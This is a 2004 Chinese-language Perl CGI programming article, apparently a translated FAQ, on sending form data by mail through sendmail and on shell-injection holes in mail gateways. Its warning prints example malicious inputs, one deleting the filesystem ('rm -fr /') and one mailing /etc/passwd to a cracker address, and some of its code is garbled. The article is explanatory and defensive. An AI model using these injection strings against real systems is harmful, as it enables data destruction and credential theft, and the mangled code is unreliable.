2023信创独角兽企业100强
全世界各行各业联合起来,internet一定要实现!

Per CGI 程式设计疑难杂症

2004-02-12 eNet&Ciweek

  
  其实做这个很容易。您的 CGI script 必须能做到这两件事:   

  将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME资料)。

  开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料写过去。

  我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail:   

  $cgi_form = new CGI::Form;   

  $from = $cgi_form->param('from');

  $name = $cgi_form->param('name');

  $to = $cgi_form->param('to');

  $subject = $cgi_form->param('subject');

  $message = $cgi_form->param('message');

  

  open SENDMAIL, "  /usr/bin/sendmail -t -n";

  print SENDMAIL <

  From: $from <$name>

  To: $to

  Reply-To: $from

  Subject: $subject

  

  $message

  End_of_Mail   

  有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以 ``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解决了。   

  网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:   

  【译者】gateway 在此指送 email 的 CGI 程式   

  open MAIL, "  mail -s 'Subject' $to"; +-- 可能会出问题的漏洞!!!   

  如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入了以下的资 料:

  ; rm -fr / ;

  那麽您的麻烦可大了*。   

  【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。另一个危险的符号是 ``&''。

  在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。

  ; mail joe@crackerland.org

  那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装 shadow-password 的 UNIX 系统来说, 实在不太好玩。如果 server 错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至可以让这个 CGI 的 email script 给他送 /etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。

相关频道: eNews

您对本文或本站有任何意见,请在下方提交,谢谢!

投稿信箱:tougao@enet16.com